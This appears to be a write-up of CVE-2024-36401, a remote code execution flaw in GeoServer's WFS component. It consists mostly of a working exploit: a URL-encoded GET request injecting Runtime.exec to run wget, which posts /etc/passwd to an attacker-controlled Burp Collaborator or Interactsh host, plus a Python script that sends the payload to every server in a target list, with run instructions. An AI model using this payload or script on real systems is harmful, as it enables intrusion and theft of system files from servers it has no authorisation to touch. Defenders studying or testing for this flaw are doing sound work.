Info
CVE ID: CVE-2024-36401 Vulnerability Type: Remote Code Execution (RCE) Affected Software: GeoServer Severity: Critical Discovered: September 2024
Vulnerability Overview: GeoServer is an open-source platform for sharing, processing, and editing geospatial data. CVE-2024-36401 is a critical Remote Code Execution (RCE) vulnerability, found in the Web Feature Service (WFS) component. Attackers can exploit this vulnerability by sending a specially crafted GET request. The request injects Java code into the valueReference parameter, which executes arbitrary commands on the server.
Enhanced Proof of Concept (PoC): This enhanced PoC uses a GET request to invoke the java.lang.Runtime.getRuntime() function, passing in a command (wget) that posts the content of /etc/passwd to a remote server controlled by the attacker. The payload is carefully crafted and URL-encoded to ensure seamless execution.
PoC Request:
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=demo_examples%3Alanl_hex_chromium_shallow_2020&valueReference=exec(java.lang.Runtime.getRuntime()%2C%27wget+--post-file%3D%2Fetc%2Fpasswd+YOUR_BURP_COLLABORATOR_ADDRESS_OR_INTERACTSH_HERE%27)
HTTP/1.1
This payload:
exec(java.lang.Runtime.getRuntime(), 'wget --post-file=/etc/passwd YOUR_BURP_COLLABORATOR_ADDRESS_OR_INTERACTSH_HERE')
is URL-encoded as:
exec(java.lang.Runtime.getRuntime()%2C%27wget+--post-file%3D%2Fetc%2Fpasswd+YOUR_BURP_COLLABORATOR_ADDRESS_OR_INTERACTSH_HERE%27)
It ensures the server runs the wget command to exfiltrate the /etc/passwd file to a specified server. Attackers can easily modify the payload to execute other commands, increasing the exploit’s flexibility.
Python Exploit Script The following Python script automates the detection of the vulnerability across multiple GeoServer instances. It reads targets from a text file and checks if they are vulnerable by sending the PoC payload. Additionally, the script is designed to be executable and can be run using ./cve file.txt from the command line.
The PoC python code:
#!/usr/bin/env python3
import requests
import sys
def print_usage():
print("Usage: ./cve-2024-36401.py <targets_file>")
print("Example: ./cve-2024-36401.py targets.txt")
sys.exit(1)
if len(sys.argv) != 2:
print_usage()
targets_file = sys.argv[1]
collaborator_url = "YOUR_BURP_COLLABORATOR_ADDRESS_OR_INTERACTSH_HERE"
poc_path = f"/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=demo_examples%3Alanl_hex_chromium_shallow_2020&valueReference=exec(java.lang.Runtime.getRuntime()%2C%27wget+--post-file%3D%2Fetc%2Fpasswd+{collaborator_url}%27)"
def check_vulnerability(target):
try:
# Full URL with PoC for this target
url = target + poc_path
print(f"[*] Sending request to {target}")
response = requests.get(url, timeout=10)
if response.status_code == 200:
print(f"[+] Target {target} responded. Check your Collaborator for interactions.")
else:
print(f"[-] Target {target} did not respond or may not be vulnerable.")
except requests.RequestException as e:
print(f"[-] Error connecting to {target}: {e}")
def main():
try:
with open(targets_file, 'r') as file:
targets = file.read().splitlines()
for target in targets:
if target.strip(): # Ignore empty lines
check_vulnerability(target.strip())
except FileNotFoundError:
print(f"[-] File {targets_file} not found.")
sys.exit(1)
if __name__ == "__main__":
main()
How the Script Works:
- PoC URL: The full PoC is embedded directly in the request as part of the poc_path variable.
- The PoC is URL-encoded, and you should replace
YOUR_BURP_COLLABORATOR_ADDRESS_OR_INTERACTSH_HERE
with your actual Burp Collaborator or Interactsh URL. - Target File: The script reads the target URLs from a text file (targets.txt), and it appends the PoC path to each target URL before sending the request.
- Direct Request: The GET request is sent to each target with the PoC included directly in the URL.
Steps to Use:
chmod +x cve-2024-36401.py
./cve-2024-36401.py targets.txt